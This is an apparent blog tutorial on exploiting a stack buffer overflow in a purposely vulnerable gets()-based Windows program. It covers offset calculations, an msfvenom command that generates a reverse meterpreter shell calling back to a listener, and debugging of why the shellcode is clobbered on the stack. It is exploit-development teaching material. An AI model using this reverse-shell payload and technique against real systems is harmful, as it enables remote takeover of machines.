TARGET
Today's target was purposely built to demonstrate a simple stack based buffer overflow. It was compiled with DEP, ASLR, and other protections turned off in Visual Studio 2015. Here is the code:
int main(){
char b[1024];
gets(b);
return 0;
}
As you can see we've created a 1024 byte buffer and are using the insecure GETS method to acquire user input. There is no bounds checking with GETS, therefore, it will take as much input as we give it. This leads to the stack based buffer overflow.
QUICK EXPLOIT CALCULATIONS
This will not be a full tutorial on exploit development, however, to continue with this demonstration we must calculate a few important offsets from the picture below:Top of Stack: ESP (0x0018FB40)
Bottom Stack: EBP (0x0018FF40)
Return Addr: EBP+4 (0x0018FF44
Our user input will start at ESP and fill up to EBP (1024 bytes) unless we provide more than 1024 bytes of input. Our goal is to provide enough input that we overwrite the Return Address to transfer execution to our Shellcode(user input).
The final Shellcode will follow this formula:
SHELLCODE = Payload + Junk*(0x18FF44-0x18FB40-length(Payload)) + 0x0018FB40
MSFVENOM PAYLOAD
MSFVENOM is an all-in-one tool that combines msfpayload+msfencode allowing you to generate a payload and encode it all at the same time. The following command was used on Kali Linux to generate a reverse meterpreter payload for a Windows x86 process. The "-b" switch indicates bad characters that we do not want in our payload. These are common characters that cause issues with early string termination, invalid assembly instructions, etc.:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.50 LPORT=4444 -b "\x00\x0a\x0d\x1a\x1c\xff" -f python > x.py
PYTHON PAYLOAD
The output from msfvenom was transferred to our windows machine and put into a Python file. We added the calculations mentioned above in the "QUICK CALCULATIONS" section. Note that the "\xeb\xfe" at the top of the script was added by the author to loop the debugger and was not added by msfvenom during payload generation. The code at the bottom of the script is simply calculating how much junk data we need to fill the buffer to reach our intended return address location.PUTTING IT ALL TOGETHER
Now that we have our Python script put together, we can feed its printed output to our vulnerable ConsoleApplication4.exe through CMD prompt like this:
python x.py | ConsoleApplication4.exe
We can see that EIP is stuck in a loop at 0x0018FB40 on the stack. Fantastic. This means that our payload was the correct size and that our junk data "A's" were the correct length to override the return address on the stack as indicated by the 0x41's on the stack in the lower right hand corner of the picture.
Since everything seems to line up, we can remove the EB FE from the top of our payload and run our CMD line again to let the exploit do it's magic.
WHAT WENT WRONG
All the calculations were correct because we gained control of EIP. Surely metasploit's shellcode payload must be correct because it's such a widely used tool and it's code is vetted by countless security professionals. So, what went wrong?If we debug our shellcode we come to one of the first calls it performs via JMP LoadLibraryA. When the code returns from LoadLibraryA it will resume execution at ECX indicated in the picture:
LOCATION, LOCATION, LOCATION
It is always important to note where your data is located. In our example, we are executing on the stack. When we gain control of EIP, Metasploit's payload does not alter the current ESP or EBP values. Therefore, when it begins to make Windows API calls, the stack is located at the same location of our shellcode. When LoadLibraryA is called, it inadvertently pushes/pops values on/off the stack as needed to perform it's function. Unfortunately, it pushes/pops enough to overwrite our shellcode and cause the irrecoverable exception seen earlier.
Our final Python file: